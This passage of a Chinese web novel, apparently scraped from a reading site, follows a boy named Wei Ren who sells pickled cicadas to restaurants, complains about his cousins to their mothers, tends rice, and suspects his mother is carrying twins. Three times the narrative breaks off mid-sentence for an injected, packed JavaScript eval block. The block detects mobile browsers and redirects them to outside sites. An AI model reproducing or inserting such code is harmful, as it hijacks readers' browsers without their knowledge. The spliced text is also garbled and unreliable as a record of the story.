戚先生显然早有准备,他送了韦仁一卷小篆版本的《仓颉篇》,看墨迹竟然还是新抄录的。 韦仁抖着小手接过戚先生的“拳拳之心”,只扫了一眼上面的字,韦仁就知道自己对“小篆”的模糊印象没有错:十个字里勉强能认出一半,以及,十个字里一个都不会写! 韦仁放学后与戚先生单独相处时,一边撅着屁股在菜地里抓虫子,一边忍不住问戚先生:“先生,你是怕我学得太快会骄傲吗?我看那些篆体字就觉得它们都在跳舞,一边跳还一边嘲笑我是个文盲。” 戚先生大笑:“见字而不识字,这个词很有趣。” 韦仁扭过头,故意板着脸对着戚先生:“我觉得它不太有趣。” 戚先生又是一阵乐。 韦仁自己被戚先生关爱了,不免也准备关爱同桌一把,韦仁抽出零零散散的时间给熊大宝攒出一卷包含了100道100以内加减法的算术试卷:“写吧,每天中午写20道,写完我给你判分,错一道题就做十个深蹲。” 韦仁一句话差点儿没把熊大宝感动哭了,不过,就如韦仁在戚先生那里撒娇没用,熊大宝即使真哭出来,韦仁也是不会心软的! 韦仁拉着小伙伴一起跳进学海的三天里,先是五味园推出了数道“美人笑”的系列菜品,隔日,千客居也推出了“黄金蝉”的新鲜炸物。 有了石大郎的汇报,韦仁才知道,五味园将他们送去的结了龟调理后与其他食物结合在一起做成了新的菜品。比如,其中一道“荽香美人笑”,就是结了龟去头去脚后与胡荽和葫蓉拌在一起再淋上自制酱汁的菜肴。 相比五味园对结了龟的“改进”,千客居倒是保持了结了龟的“原汁原味”,不过千客居也不是干巴巴地端上结了龟就擎等着客人们试吃,封掌柜请了位说话人给食客们讲了一段儿“黄金蝉”背后的故事—— 话说,有一日,封掌柜和千客居的大厨,也就是他的妻子史厨娘,一起去山中寻找一种千客居独家腌料所需的神仙草。不想遇到天降大雨,二人不得已寻了个山洞躲了一夜,再出山时已经是第二日。中间虽有波折,好在顺利找到了神仙草,封掌柜和史厨娘也很高兴,准备返程归家时,史厨娘却发现自己左耳上的黄金耳珰不见了! 那耳珰是史厨娘自君姑那里得的,一直小心佩戴,不肯离身的,这可如何是好?夫妻二人随即折返回去寻找,寻找途中巧遇到一位少年,那少年当时正在一棵参天古树下挖东西。 封掌柜和史厨娘便上前询问:“小郎君可有看到一个黄金耳珰?” 少年回答:“我来寻些吃的,不曾见过什么黄金耳珰。” 封掌柜和史厨娘十分失望,正准备往前面继续寻找,就听到少年突然“咦”了一声,二人转头看过去,就看到少年手中出现两物,其中一个正是史厨娘丢失的黄金耳珰! 封掌柜和史厨娘大喜! 史厨娘从少年手中接过那沾着泥巴却仍是闪着金光的耳珰,同时看到少年手中的另一物,不禁问道:“小郎君,你怎么挖蝉吃?” 经过少年的一番介绍,封掌柜和史厨娘才知道,少年游学至此,突然想念家乡一道用蝉做的美食,便临时起意进山来寻。 史厨娘为感谢少年帮她寻回君姑送她的黄金耳珰,就用自家祖传的秘方腌制了一坛蝉,并按照少年家乡那边的做法,用上好的脂膏将蝉料理出来,味道果然如少年说的那般,十分美味! 不仅如此,少年还说,他曾从一本古籍中看到说这蝉曾是供给皇室的贡物,只有极其尊贵的人才能享用。 封掌柜和史厨娘实不敢信,这蝉虽说好吃,但也不至于能成为贡物吧? 后来听少年解释,封掌柜和史厨娘才知道,少年师从的一位先生不仅通晓经书,也长于烹调,那先生曾说,蝉入土十余载,尽吸地之精华方破土而出,是上上等的补物,吃了对身体有大大的好处! 有什么好处?客人不如先尝上一个,我再为你细细说来—— 石大郎没什么说书的天分,不过他给韦仁等人转述这段书时,堂上众人仍是听得连连点头,等石大郎说完,赵氏还问韦仁:“这故事是你给千客居编的?” 韦仁看向赵氏,十分无辜:“我是编了个故事让他们卖结了龟时讲给食客们听,但封掌柜大概不太喜欢,就另外改编了一个。”听封掌柜说“做买卖讲究诚信”,韦仁还以为封掌柜做买卖纯靠硬实力说话,原来该吹的时候也是一点儿不含糊! 赵氏和韦元茹都忍不住笑了起来。 韦世然则发表了一下对“美人笑”和“黄金蝉”两个名字的看法:“我觉得千客居给结了龟的名字起得好,五味园那个,若不是提前知道是结了龟,谁知道‘美人笑’是什么东西。” 韦仁也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13457863|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不通这个“美人笑”是怎么来的,不由看向赵氏和韦元茹。 母女对视一眼,韦元茹也是想了好一会儿才有些不确定地说:“是不是取了‘螓首蛾眉,巧笑倩兮’这句?” 赵氏颔首:“可能吧。” 韦世然:“这句是《硕人》里的话,和结了龟有什么关系吗?” 韦元茹瞥韦世然一眼:“螓,何解?” 韦世然答得很顺溜:“古代的一种虫子。” 韦元茹:……也不能说错。 “‘螓’是‘蝉’的一种别称。”韦元茹看向韦世然,“我那里有从二从兄那里抄得的《诗》的诠注,一会儿我让人给你抬过去,你抄一份,和戚先生教的对比着看吧。” 韦世然看看阿母和大姊,最后扭头看向自家弟弟:“五郎,你要记住,不要随便在背后议论他人。”没有好下场的。 韦仁、赵氏和韦元茹同时笑起来。 牛老汉的长孙牛寿年给五味园和千客居送货的第三日中午,石大郎亲自赶车到朝元馆,接上韦仁和韦世然先后去了五味园和千客居。 韦仁不知道结了龟在五味园和千客居的贩售情况到底如何,刘掌柜和封掌柜倒是都同意正式向韦仁收购结了龟。 不同的是,刘掌柜与韦仁签了30日的券书,每日要两斤半,而封掌柜不知道是生意很好,还是因为先前与韦仁的约定,他直接签了两个月的券书,且第一个月每日都要三斤,第二个月则需要看情况。 也幸亏牛老汉仔细,他今天把牛实派去给谷家帮忙,然后让谷元跟着牛延寿一起来了。韦仁也是问过谷元后,得到他可以抓到足够的结了龟的保证,才敢应承下刘封两位掌柜的要求。 签券书的过程还算顺利,只是在五味园时,刘掌柜半玩笑半认真地与韦仁说了一句:“早知郎君有妙计,鄙人便买了那方子。” 韦仁只笑笑,没接茬。 韦仁的方子里能被刘掌柜称为“妙计”的大概只有那个被封掌柜改得面目全非的故事,给金蝉编一个“典故”只是韦仁的灵光一闪,其实在韦仁看来,哪怕千客居的黄金蝉真的卖得好,最大的原因也是他家料理炸物的手艺。 韦仁却是不知,大概是受到那个黄金蝉的故事的影响,只要在两家吃过饭的人都以为,五味园的“美人笑”是从千客居的“黄金蝉”学来的,甚至有人认为,五味园的“美人笑”就是从千客居那里进货的。 这个情况还是韦仁随韦玄成和兄姊去看望二伯公顺便感谢从二伯母和韦彭祖时才知道的—— 二伯公所居正堂内,人并不齐全,不过每一房也都来了人,双方寒暄过后,韦仁便将腌制好的结了龟作为礼物分送给了每一房的人,还详细介绍了吃法和各种注意事项。 韦仁在家时,话多的程度那是名列前茅,在亲戚面前时却收敛许多,所以在长辈和兄姊看来,韦仁就是一个不算内向但也还乖巧的孩子。 而这样一个孩子却能和五味园、千客居的掌柜谈成合作,与刘掌柜的合作还能说有韦彭祖帮忙,与封掌柜的合作却是韦仁自己谈的,这件事着实引得大家好奇。 先是大从伯父问韦仁有没有因为结了龟的事耽误课业,顺便又考教了他一番,而后是三房的韦荣与韦仁打听结了龟的买卖是如何做起来的,能看出来他对“赚钱”这件事十分感兴趣,对小小年纪就能赚钱的从弟更是兴趣十足。 韦仁或听或答,没有骄傲,但也没有刻意谦虚,微笑着说话的样子让人看了就觉得他还是那个不算内向但也还乖巧的孩子,但有心人却明白,这孩子绝不是“不算内向”和“乖巧”两个词就能概括的。 二伯公就捋着胡须向韦玄成说道:“这孩子你们养得好。” 韦玄成也笑看着自家儿子:“不瞒伯父,现在看着好,费心的时候可也比他的兄姊都要愁人。” 谁知,韦玄成这边才说韦仁愁人,韦仁那边立马就要让韦玄成愁上一愁。 49.告状 让韦玄成发愁的事的起因也不复杂,不过是小辈之间算不上口角的口角—— 韦彭祖与韦仁说了那个关于“到底是先有美人笑,还是先有黄金蝉”的事后,就拍着大腿与韦仁抱怨:“仁从弟,你说说这叫什么事?五味园可比千客居提前一天卖的那个结了龟,现在倒说不清谁先谁后了!” 韦仁听到这件事也觉好笑,不过当着韦彭祖的面,他也只能说:“先后有什么重要,好吃才是食肆的根本,而且他们俩家调理结了龟的方式差别很大,没什么可比的。” “理是这么个理,但也很恼人啊!”而后,韦彭祖竟说了与刘掌柜一样的话,“那个‘黄金蝉’的主意是你出的吧?以前也没听说谁卖个菜还要编出个故事来,早知道我就劝他买了你的方子。” 见韦彭祖着实挂心五味园的买卖,韦仁便挑出一半真话宽慰了一句:“彭祖从兄,幸好你没劝,那故事可不是我编的,封掌柜买了我的方子后直言亏了呢。” 坐在另一侧的韦萱突然问道:“仁从弟,我听三从妹说,元茹从姊带着你特意来请二伯母替你引荐五味园的掌柜,又是大从兄亲自领你去的五味园,你怎么又去找了千客居?”韦萱是韦荣的嫡亲妹妹,她口中的三从妹说的则是韦青玫。 韦仁下意识侧头看了一眼坐在韦萱旁侧的韦元茹,果然看到自家大姊半垂着眼帘,褐色的眼珠子转向了远离韦萱的那一边,那样子看在他这个亲弟弟眼中,就是大写的“嫌弃”二字。 韦仁还没答,韦彭祖听到韦萱的话,也跟了一句:“找不找其他食肆倒是好说,不过我听说千客居与人收东西价格都压得狠,仁从弟,你别吃了他家的亏是真的。” 听这一句又一句的,韦仁歪着脑袋,唇角自然而然地翘着,右手食指则轻轻戳了戳太阳穴的位置,似是在烦恼不知该如何回答兄姊们的问题。 韦荣一直在韦仁身上放了半个耳朵,见他如此,便搭了句话,话是冲着自家妹妹说的:“你不懂做买卖的事就不要乱说,只要没说好只给一家提供货物,那就是谁家都能卖。” 说完,韦荣又很有经验似地提醒韦仁一句:“不过有时候同行之间是有忌讳,这次有大从兄在,五味园不会与你计较,但仁从弟你以后做买卖,还是得注意这方面的事。” 韦仁坐正后方对韦荣点了点头,乖巧地应道:“谢谢荣从兄提点。” 韦荣见韦仁很能听话,正要再多说些,韦仁却突然站起了身,小跑着凑到二从伯母曾氏和三从伯母徐氏身边。韦仁低声在她们耳边说了几句话,随后,二人一同起身,就要随韦仁走去正堂旁侧的小厅。 堂内的大人们刚刚在说麦收的事,没有注意几个小辈之间的对话,此时见到三人这番动作,二伯公不禁开口问道:“阿仁,你拉着你两位从伯母做什么去?” 韦玄成也看着韦仁,眼睛中是疑惑以及一丝旁人难以察觉的警告。 韦仁与自家亲爹对视一眼,随后便对二伯公俏皮地眨眨眼睛:“我们要说秘密,不告诉二伯公!” 二伯公一笑,摆摆手:“去吧去吧,我保准不让人偷听。” 韦仁对二伯公拜了拜,随后便与两位从伯母走进了小厅,韦仁当然不是要与二人说什么秘密,他是光明正大来告状的! 待到曾氏和徐氏坐定,韦仁对二人揖礼后,便把韦萱问他为何去找千客居的话复述了一遍。 韦仁先看一眼曾氏:“二从伯母帮了我,我觉得应该也请二从伯母顺道听一听。” 随后,韦仁便看向徐氏,开始解释:“三从伯母,我一开始不确定五味园是否愿意与我合作,便也派人约了千客居。见刘掌柜时,我曾考虑过是不是只把结了龟供给五味园,不过刘掌柜没提,而且我看刘掌柜似也另有打算,这才作罢。” “另外,虽然我不能吐露和千客居的券书内容,但我能保证,我没有坑五味园,千客居收购结了龟的价钱确实比五味园低,那是因为他们家不用我们腌制,而且我给五味园的一些好处也没有给千客居。” 韦仁顿了一下,自然而然地扫了一眼曾氏,随后仍是主要面向徐氏,补充道:“还有一件事,我顺便也解释一下,刘掌柜与我签券书时提到我卖给千客居的那个方子,就是那个‘黄金蝉’的故事,我开始是想把这主意卖给刘掌柜的,问过他两次,他都说不要,我才卖给了封掌柜,法子有用没用,于我,都只是买卖,不存在偏帮谁。” 韦仁吐字清晰,但语速很快,曾氏和徐氏都还没仔细思量韦仁叫她们过来的用意,韦仁已经劈里啪啦地说完了。 韦仁还想着要不要哭上一鼻子,但一时实在哭不出来,便选择了另一种方案—— 韦仁沉着小脸儿对徐氏又鞠了一躬,认真严肃地说道:“总之,刚刚听萱从姊那么说,我觉得萱从姊可能对我有些误会。我想与她解释,又怕哪里说岔了,万一吵闹起来会扰了二伯公的心情。我也担心自己确实有哪里做得不好又不自知,不得已只能失礼请三从伯母过来听一听我的解释。” 最后,本着告状就要小事化大的原则,韦仁明明白白点了一下题:“若我哪里做错了,三从伯母尽管教导,我一定改正,千万不要以为我是里外不分的人就好。” 曾氏和徐氏随韦仁过来就是听到韦仁说有重要的事与她们说,且因为恐会让二伯公担心,才一定要前来小厅才能说,二人都没想到会听到这样一番话。 徐氏一拍席垫,低声怒斥:“真是不知所谓!” 徐氏的脸阴沉得很,不为别的,不管是五味园还是千客居,和他们三房一枚五铢钱的关系都没有,韦萱多什么嘴,没得得罪人!听听韦仁那话说的,他哪里是怕她们误会他里外不分,他说的明明是韦萱里外不分! 徐氏真想掰开自家闺女的脑壳看一看那里面装的是什么,不过此时,她也只能按捺住脾气,先将韦仁安抚好,若韦仁真把那些话捅到君舅那里去,韦萱定是得不了好的! 徐氏欠身拉住韦仁的手,把他拉到自己跟前,又是拍背又是摸脸,细声细语地安慰道:“可别说什么‘不分里外’的话,你才多大,这件事已经办得极为妥帖。你萱从姊也没责怪你的意思,她说话一向不过心,你不要与她计较。你且安心,我一会儿回去就好好教训她,定不让你白受这委屈!” 徐氏在这边安慰韦仁,曾氏的眉头也是蹙着的,虽然韦仁只复述了韦萱的话,说话的主要对象也是徐氏,不过曾氏在自家院子里也听韦彭祖抱怨过韦仁。知子莫若母,曾氏估计,韦彭祖刚刚多半也当着韦仁的面说了什么不中听的话。 曾氏头疼,买卖都谈完了,而且还只是几十斤虫子的买卖,自家儿子竟然能把话说到韦仁眼前去。相较韦彭祖当面背面抱怨从弟的行为,再看韦仁这行事,拉着她过来旁听,却又一句韦彭祖的不是都没说,曾氏真想知道自家儿子那虚长韦仁的十多岁长到哪里去了! 曾氏和徐氏闷了一肚子气,韦仁告完状却是身心舒畅,直到离开城南韦家时,他都是一副喜气洋洋的模样,任谁也看不出来他这次拜访给人家添了多少堵。 也不怪以韦世然的性子都觉得自家弟弟是个小心眼儿,韦仁前脚告完从兄姊的状,后脚还要特别小人之心地与自家阿翁报备:“阿翁最懂阿母,阿翁替我与阿母说一说,万一哪天谁说到她跟前,免得阿母不知道实情白白生气。” 韦玄成骑在马上,一手揽着大儿子,一手牵着缰绳,不过他此刻全部的注意力都在自家二儿子身上。 韦玄成低头俯视着因为与他坦白完,现在无事一身轻的二儿子,额头上的青筋就蹦啊蹦的:“我现在知道实情了,也不太高兴,你说说,要怎么办?”明明是去拜访长辈、感谢人家帮忙的,结果在人家家里告人家儿女的状,这像话吗?! 韦元茹就坐在韦仁身边,她这次站在韦仁这一边,韦元茹一边怜爱地摸着韦仁的头一边与韦玄成求情:“阿翁,五郎也没说错什么,萱从妹那些话我听着也不顺耳,五郎没当众与她辩驳,已经很懂礼了。” 韦仁扭着头蹭了蹭自家大姊的手心,赞同道:“就是就是。”韦彭祖也就算了,毕竟要看一看二从伯母的面子,韦萱却是前脚招惹完自家大姊,后脚又来招惹他,不让她吃点儿教训实在对不起今天这机会! 韦世然听完全程后也发表了一下自己的意见:“告状是不好,不过五郎与二从伯母和三从伯母解释清楚也是好的,阿翁,你说过,一家人就该有什么就说什么,憋在心里生了误会反是不好。” 姊弟三人统一战线,韦玄成就头疼了:孩子们渐大,想法也就多了,也愈发难管了! 韦玄成也知道韦仁是个不肯吃半点儿亏的,这次好歹能忍着没在长辈面前与从姊争长短,韦玄成也没再教训韦仁,只用马鞭虚虚点了点他:“仅此一次,做客便要有做客的规矩,哪怕主人家有不谐之处,也不可失礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13473415|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 韦仁知道自己过关了,笑嘻嘻地对韦玄成拱了拱手:“谨遵命。” 结了龟的买卖基本算是上了正轨,韦仁便如当初答应赵氏所言那般,不再为其分出过多精力。 事实上,韦仁最近也没什么多余精力关注结了龟的买卖,他现在每日都要抽出大把时间整理《仓颉篇》的笔记以及学习小篆。 这两样事情对他而言,不仅耗费精力,还很磨练心性——那种感觉怎么说呢,就好像埋头苦读一整日,其实只读了一个字,看似对这个字的理解更深了,但真品起来,又有种自己在做无用功的错觉,总之,十分磨人。 同样“折磨”韦仁的还有他的马步训练。 韦仁现在已经勉强能蹲出比较标准的马步,他本以为这样就可以进行下一项训练了,不想当他向沈决明询问时,沈决明面无表情地在地上划了一行字:能保持两刻钟后,就可以学习其他步法了。 韦仁当时的第一反应就是:“你在逗我吗?”他现在连30秒都坚持不了! 沈决明竟然特别诚恳地摇了摇头,还划字道:我没有逗你。 韦仁能怎么办呢,只能听武学先生的话呀!不过,韦仁也还是忍不住抱怨了一句:“沈决明,你这也就是赶上我这么个自觉又听话的学生。”不然,真换个七岁的孩子过来,肯定早被沈决明这么死板的教学方式给吓跑了。 沈决明没懂韦仁的意思,还以为韦仁是在自夸,犹豫了一下,沈决明点了点头表示附和,却是不知,他这头点得真是差点儿噎死了韦仁! 文武学习虽然进入了磨人阶段,好在秧苗们十分给力,八成的秧苗都是通体翠绿的,这健康的模样多少给了韦仁些成就感。 至于余下两成的秧苗,或是叶尖发黄,或是看起来细胳膊细腿儿的,韦仁也只当它们暂时感了个小冒,主要他也不知道该怎么办,除了勤抓虫子外,他只能祈祷它们可以自愈。 稻米们能否真的自愈无人可知,不过在五月廿三那日,稻米们也正式进入下一个生长阶段:分蘖。当然,韦仁这时候还没具体想到这个词,他只是根据凡师伯的建议,决定在这一日给稻子排水。 因为事前没有考虑仔细,种植稻子的木桶上并没有便于排水的设计,韦仁只能选择最笨的办法——把木桶推倒,让水自己流出来。 木桶高三尺三寸,直径也接近三尺,想要放倒这么大体积且盛满泥土的木桶真不是件轻松活计。 韦仁最开始还拿了根竹竿,打算靠一个支点撬起地球,不,撬起木桶,结果,木桶没撬动不说,竹竿先折了,若不是沈决明眼疾手快抱住了韦仁,韦仁得压着断了的竹竿一起趴到地上去! 韦仁觉得这个情况十分不科学,想要换个更结实的棍子重新试一试,不过君子院的众人一同把他劝住了,理由是:摔一跤也就罢了,万一被木棍折断的位置扎着了怎么办? 韦仁想了想,从善如流道:“那换你们压?” 众人:我们也不想摔跤或者被扎呀! 君子院的人都不相信韦仁那个“给他一个支点,他就可以撬动一切”的话,最后,还是沈决明叫来了三个护卫预备役,几人花了不到两刻钟的时间,将所有木桶中的水给放干净了才总算让韦仁放弃了继续撬木桶的念头。 虽然韦仁的能折腾也不是什么新鲜事,大家仍是有些好奇,韦世然就问了:“五郎,稻子一直泡着水都好好的,怎么又要把水倒掉?” 在韦仁的印象里,排水好像是和稻子的产量有关,而且,早了晚了的似乎都有影响,但原理他是真不知道,所以韦仁也只摇了摇头:“其他人种稻子就是这样做的。”想了想,韦仁又说,“要不要留一桶不排水?” 韦世然赞同:“试试吧,万一在水里的反而长得好呢。” 于是,沈决明只得又提了一桶水过来,重新给两个木桶的秧苗灌上水——没错,就是两桶,因为韦仁还想顺道用一桶稻子试试迟五日排水会怎么样。 忙完这些,大家还以为韦仁今日对稻子的关爱就到此为止了,结果,这时候,韦仁突然看向毋忧。 被韦仁灼热的目光笼罩着,毋忧抹了把头上的汗,自觉问道:“五郎君是有什么事需要我做?” 韦仁晃着手臂在原地转了个圈儿,收势时做了个指天画地的动作:“毋忧,你跳个舞呗,务必请老天爷之后几天艳阳高照,把桶里的那些土晒得干干的!” 50.《药录》 韦仁此言一出,韦世然和阿桂等人都禁不住打量起毋忧,他们都不知道毋忧还会跳舞。 毋忧也难得地红了脸,看向韦仁的眼神都有些飘忽:“五郎君还记得呢?” 韦仁笑眯眯地:“当然记得,我还记得,你跳完那支舞后,后面半个月都是大晴天。” 说起来也是件趣事,韦仁第一次注意到毋忧,就是因为看到毋忧在牲畜棚内“跳大神”。 韦仁那时候已经有了些上辈子的记忆,不过脑袋还处于一种朦朦胧胧的状态,那些记忆于他更像是一个梦,他没觉得新奇,只为来到这么个陌生又落后的地方而郁闷,雪上加霜的是,伴随记忆复苏而来的还有时不时的发热和头疼,真是折磨得韦仁每天都在考虑要不要重新投个胎。 有一天,难得踏出正院的韦仁甩开照顾他的婶子,自己在宅子里乱逛,无意间就逛去了牲畜棚,当时,毋忧正拿着竹编簸箕铲棚内的畜粪。 这活计又脏又臭,毋忧还干得挺乐呵,他一边跳舞似地转着圈儿将簸箕里的畜粪倒到棚外的脏桶里,一边嘴里还哼着歌谣,韦仁仔细听了一会儿也没听清楚毋忧到底唱得是什么。 大概是毋忧当时的心情看起来实在太好,韦仁的心里也松快了点儿,不由自主就开口问了:“你,唱,什么?” 毋忧被突然出声的韦仁吓了一跳,差点儿没抱好怀里的簸箕,匆忙稳住手臂,毋忧才看向发出声音的地方,他不认识韦仁,但在韦家能穿那样好看的衣服的娃娃也只有一个五郎君了。 毋忧猜到韦仁的身份后,忙向韦仁揖礼,回答道:“回郎君的话,我、我没唱什么。” 韦仁不说话,只直勾勾地盯着毋忧,那目光看得毋忧有些怯,但不知道为什么,毋忧害怕的同时也看懂了韦仁眼底的意思,就解释道:“我以前看过巫觋祈雨,唱得就是这个调子,没有词。”就算有词,他也不记得了,他自己都不知道自己唱的是什么。 韦仁有些惊讶:“在下呀。” 韦仁吐字不清楚,说话也有半句没半句的,毋忧却明白了韦仁的意思,跟着摇了摇头:“不不不,我想晴天,可千万别继续下雨了!” 韦仁被毋忧这个操作也给弄懵了,指指毋忧,又指指天空:“跳舞,祈雨?” 毋忧有些不好意思:“我就想试试,跳舞给天看,我心里想的都是天晴。” 韦仁忍不住乐:还能这么凑合的? 韦仁看看毋忧身上灰扑扑的衣服,还有他干巴巴的小身条,问道:“干活,累吗?” 韦仁当然知道干活儿是累的,不过,他其实是想问,这里的日子这么苦,你咋还能那么乐呵呢?还是自娱自乐!不过最终问出的话只有那两个词。 毋忧却是误会了韦仁的意思,说道:“雨天和晴天其实没差,上面有棚子遮着,也淋不到我。不过我听人说‘牛怕晨霜,马怕夜雨’,为了它们好,也最好是晴天的。” 韦仁还是第一次听说牛马怕雨,很是怀疑这句话的真实性,不过他没多问,因为看顾他的婶子终于找到他,二话没说就把他抱回了主院。韦仁也是在很久以后才知道,那谚语的意思其实是,给牛马喂食的草料若是潮湿的,牛马会容易得病。 往事在心头闪过,韦仁眼含笑意地再次对毋忧重复了一遍自己的要求:“跳嘛,我的稻子能不能晒足阳光就靠你了。” 毋忧有些窘,但他实在顶不住韦仁热切的目光,只能无视掉君子院其他人各种意味不明的表情,毋忧硬着头皮,一边围着那八个大木桶转圈圈,一边哼着不成词的调子跳了一遍祈求晴天的舞蹈。 也不知道是不是毋忧的舞蹈真的感动了老天爷,之后的七天,当真是日日晴空、万里无云,木桶中的泥土被晒出了裂纹,稻子也由原来翠翠的颜色过渡到了浅绿色。 韦世然见状十分担心稻子会因为缺水死掉,韦仁却觉得这就是稻子要变成熟的迹象。 当然,这时候的韦仁还不知道,不是所有稻田都要晒到这种程度的,反正他现在是挺满意,和沈决明记录下稻子分蘖的情况后,韦仁便吩咐沈决明再次往木桶中加水。 沈决明一丝不苟地照办了,但见这一会儿排水一会儿加水的,沈决明也没忍住在内心里偷偷吐了韦仁一槽:真是什么人种什么样的东西! 韦仁不知道沈决明腹诽自己喜欢折腾,他觉得自家弟弟妹妹才真是不让人省心—— 五月过去,赵氏的孕吐仍是没有停止,不过也没有加重,而且韦仁“打听”来的法子确实有些用处,赵氏还是好过了些,一家人总算稍稍安心。 只是,这时候韦仁又觉得赵氏的肚子有点儿大,时不时就要叨叨一句,让赵氏少吃一点儿,多走走路。 赵氏以为韦仁又是与谁打听的,并不为怪,反而很窝心。只是,让她哭笑不得的是,家里的几个人对于如何养胎的意见总会相左,比如韦世然就觉得赵氏应该多吃一点儿,这样身体才能棒棒的。 其实,对于孕期如何保养身体之类的事,赵氏以及照顾了赵氏平安生下韦世然和韦仁的阿珀自有章程,但这也不妨碍其他家庭成员对赵氏以及赵氏的肚子表示关注和关心。 韦仁就喜欢定期摸一摸自家阿母的肚子,韦仁摸赵氏的肚子主要是想摸一摸胎儿的体型和体位,韦仁完全没想到,最近一次摸赵氏的肚子时会摸出一个“大惊喜”! 韦仁第一时间都没敢确认,直到他磨着赵氏调整了姿势让他又摸了一遍后,韦仁才最终确认:赵氏的肚子里不止有一个,而是两个! 韦仁后来又拉着赵氏的手腕想听一听她的脉,但韦仁听脉的技术真是比不上他上辈子的那位师父,实在听不出来他老人家口中那个微妙的韵律,不过,哪怕没有脉象佐证,韦仁心里也有了八、九分的把握。 韦仁的心情十分复杂,虽然他一直都在说“弟弟妹妹”,但这只是表达无论是弟弟还是妹妹他都会一视同仁,他是真没期待家里会一下子多出两位成员。 原因无他,甭管是双胞胎还是龙凤胎,听着是件喜庆事,但对孕妇而言,这真不算什么好事,何况还是在这样一个缺医少药的时代。 当日,韦仁在自己的床上辗转了大半个时辰,最终决定先不把这事告诉赵氏,若是赵氏因他的话上了心,高兴还好,若是担忧反而对身体不利。 而且,哪怕不考虑赵氏的心情,韦仁说与不说也没什么区别,赵氏以前怎么生孩子,现在也是一样——这时候连职业稳婆都没有,女子生产时请来的“稳婆”也就是家族里生产经验丰富的女性长辈而已,可以说,现在的孕妇能不能平安生产,真是九成九都靠命! 虽是有些烦躁,不过赵氏的身体还不错,这又是她第三次生产,胎儿的情况目前看来也还健康,韦仁倒没有过于担心,不过他仍是忍不住想做点儿什么,比如准备些孕妇生产前后可能会用到的药材。 做好决定,韦仁便在最近一次休沐日出门了,身边也只带了沈决明一个人。 在去仁济堂前,韦仁先去了一趟熊大宝家的器肆,除了交新一期的款项外,他还得追加一个浴盆。虽然要多花一倍的钱,韦仁倒没之前那么心疼,反而有些庆幸之前兴起了给弟弟妹妹买漆器浴盆的念头——正因为如此,他才想赚钱,如今也才有钱去仁济堂买药材。 韦仁以为有钱就行了,结果,到了仁济堂后,他才发现,他还是天真了。 韦仁一共列出九种药材,这些还是经过他筛选的、在他记忆中比较早出现在医学经典中的药材,结果仍有三种药材是仁济堂没有的,其中一种药童甚至没听说过。 曹掌柜不在,韦仁好说歹说药童也不肯把仁济堂所有的草药单子给他看,韦仁扒着柜面和药童的眯眯眼对视片刻,不得不将可替换的药材逐一问出来,直花了一盏茶的工夫,药童才终于将韦仁要的所有药材凑齐。 韦仁报药材名儿时没有避着沈决明,沈决明站在韦仁侧后方静静听着,也没显露出什么多余的神色。 倒是如厕回来的蔡大夫听了大半程,没有直接回诊间,而是十分不讲究地双腿一岔,蹲到了韦仁面前。 韦仁盯着药童给他拿药,每一种韦仁都要看过才让药童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13489627|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包起来,压根儿没察觉身边蹲了一个人。 蔡大夫见他这么个大活人蹲在一边半晌,韦仁连个眼神都没往他这边瞟一下,蔡大夫最终忍不住伸出手指戳了戳韦仁。 韦仁扭过头,看到是蔡大夫,有些诧异:“蔡大夫,有事吗?” 蔡大夫和韦仁是认识的,只是除了韦仁上次跑来仁济堂打听孕吐的事外,以前二人见面都是蔡大夫去韦宅给韦仁看病。不过自从韦仁五岁半以后,蔡大夫已经很久没去过韦宅了,不止是因为韦家有个梅先生在,最重要的是,韦仁不像以前那么频繁生病了。 蔡大夫打量着韦仁的脸色,点了点头:“气色不错。”说完,蔡大夫才指了指药柜,“五郎君,你在跟梅大夫学医?”韦仁要的那些药材组不成方子,而且韦仁不仅不要散剂,还要单独包装,蔡大夫方有此猜测。 韦仁摇了摇头:“没有呀。”韦仁以前曾动过这个念头,但这时候,不正式拜师是不可能得到真正的教导的,而在韦家这种家庭,韦仁的师父只可能是某位儒者。 蔡大夫自然也明白这个道理,摸了摸下巴,有些疑惑:“我刚刚听你说药材,似是很熟悉。” 韦仁心下一动,眼珠子在眼眶里转了一圈儿,忽然咧嘴露出一个灿烂的笑:“蔡大夫,我听梅先生说,你有一套家传的《药录》,特别宝贝,都藏着不肯借给梅先生看。” 蔡大夫“噌”地站起身,俯视着韦仁:“你想也别想!”说着,蔡大夫转身就要走。 韦仁一把拉住蔡大夫的上衣下摆,蔡大夫不停步,韦仁一边转头对药童说“你等我一会儿”,一边就跟着蔡大夫进了诊间。 